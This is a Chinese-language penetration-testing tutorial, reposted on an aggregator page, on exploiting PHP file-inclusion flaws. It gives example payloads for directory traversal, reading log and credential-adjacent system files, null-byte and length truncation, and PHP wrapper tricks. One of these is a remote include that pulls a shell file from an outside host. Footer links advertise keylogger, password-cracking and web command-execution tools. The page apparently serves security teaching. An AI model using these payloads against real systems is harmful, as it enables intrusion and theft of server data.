渗透测试—如何利用文件包含的方式进行攻击

Posted LexSaints

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试—如何利用文件包含的方式进行攻击相关的知识,希望对你有一定的参考价值。

目录

4.9. 文件包含

4.9.1. 基础

4.9.2. 触发Sink

4.9.3. 绕过技巧

4.9.3.1. url编码绕过

4.9.3.2. 特殊字符绕过

4.9.3.3. %00截断

4.9.3.4. 长度截断

4.9.3.5. 伪协议绕过

4.9.3.6. 协议绕过


4.9. 文件包含

4.9.1. 基础

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

4.9.2. 触发Sink

PHP

    include
        在包含过程中出错会报错,不影响执行后续语句

    include_once
        仅包含一次

    require
        在包含过程中出错,就会直接退出,不执行后续语句
    require_once

4.9.3. 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

4.9.3.1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

4.9.3.2. 特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? * 等
    url中 使用 ? # 可能会影响include包含的结果
    某些情况下,unicode编码不同但是字形相近的字符有同一个效果

4.9.3.3. %00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

4.9.3.4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \\0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

4.9.3.5. 伪协议绕过

远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , 
payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式

PHP input: 把payload放在POST参数中作为包含的文件,
要求 allow_url_include=On ,payload为 ?file=php://input 的形式

Base64: 使用Base64伪协议读取文件,
payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式

data: 使用data伪协议读取文件,
payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,
要求 allow_url_include=On

4.9.3.6. 协议绕过

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

 推荐阅读

【python实战】前女友婚礼,python破解婚礼现场的WIFI,把名称改成了

【python实战】前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现

【python实战】python你TM太皮了——区区30行代码就能记录键盘的一举一动

python实战】女神相册密码忘记了,我只用Python写了20行代码~~~

pygame系列文章

一起来学pygame吧 游戏开发30例(二)——塔防游戏

一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏

一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏


pygame游戏26个案例及源码【共400M】_pygame游戏作品,pygame游戏源码-Python文档类资源-CSDN下载


【前女友发来加密的“520快乐.pdf“,我用python破解开】完整脚本_python怎么破解pdf密码-Python文档类资源-CSDN下载


女友晚安之后依然在线:python男友用20行代码写了个小工具_啪啪自拍-Python文档类资源-CSDN下载


python定位照片精确位置完整代码脚本-Python文档类资源-CSDN下载

渗透测试相关工具

brutecrack工具[WIFIPR中文版]及wpa/wpa2字典-其它文档类资源-CSDN下载


【kali常用工具】inssider信号测试软件_kali常用工具_inSSIDer-网管软件文档类资源-CSDN下载
【kali常用工具】MAC地址修改工具保护终端不暴露-Linux文档类资源-CSDN下载
脚本管理工具php和jsp页面接收命令参数在服务器端执行-网络安全文档类资源-CSDN下载  
上网行为工具_常用密码破译工具讲解与实战-网络安全文档类资源-CSDN下载
抓包工具CharlesWindows64位免费版_常用密码破译工具讲解与实战-网络监控文档类资源-CSDN下载

以上是关于渗透测试—如何利用文件包含的方式进行攻击的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试:看“道德黑客”如何进行模拟攻击

渗透测试:看“道德黑客”如何进行模拟攻击

渗透测试实战—社会工程学利用详解

渗透测试方法和过程

什么是渗透测试服务?这个介绍的真详细

BeEF - 浏览器开发工具